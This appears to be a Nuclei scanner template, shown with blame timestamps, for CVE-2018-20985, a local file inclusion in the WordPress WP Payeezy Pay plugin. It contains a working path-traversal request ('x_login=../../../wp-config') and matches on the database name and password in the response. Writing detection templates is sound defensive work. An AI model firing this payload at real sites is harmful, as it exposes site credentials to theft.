2021-07-27 00:25:17 +00:00
id : CVE-2018-20985
info :
2022-06-18 08:05:25 +00:00
name : WordPress Payeezy Pay <=2.97 - Local File Inclusion
2021-07-27 00:25:17 +00:00
author : daffainfo
2022-06-18 08:05:25 +00:00
severity : critical
2021-07-27 00:25:17 +00:00
description : WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.
2021-09-02 08:03:02 +00:00
reference :
2021-07-27 00:25:17 +00:00
- https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/
2022-06-18 08:05:25 +00:00
- https://wordpress.org/plugins/wp-payeezy-pay/#developers
2021-07-27 00:25:17 +00:00
- https://www.cvedetails.com/cve/CVE-2018-20985/
2021-09-17 06:03:58 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-06-18 08:05:25 +00:00
cvss-score : 9.8
2021-09-17 06:03:58 +00:00
cve-id : CVE-2018-20985
cwe-id : CWE-20
2022-06-18 08:05:25 +00:00
tags : cve,cve2018,wordpress,lfi,plugin
2021-07-27 00:25:17 +00:00
requests :
- method : POST
path :
- "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"
body : "x_login=../../../wp-config"
matchers-condition : and
matchers :
- type : word
words :
- "The base configuration for WordPress"
- "define( 'DB_NAME',"
- "define( 'DB_PASSWORD',"
condition : and
part : body
- type : status
status :
- 200
2022-06-18 08:05:25 +00:00
# Enhanced by mp on 2022/05/13
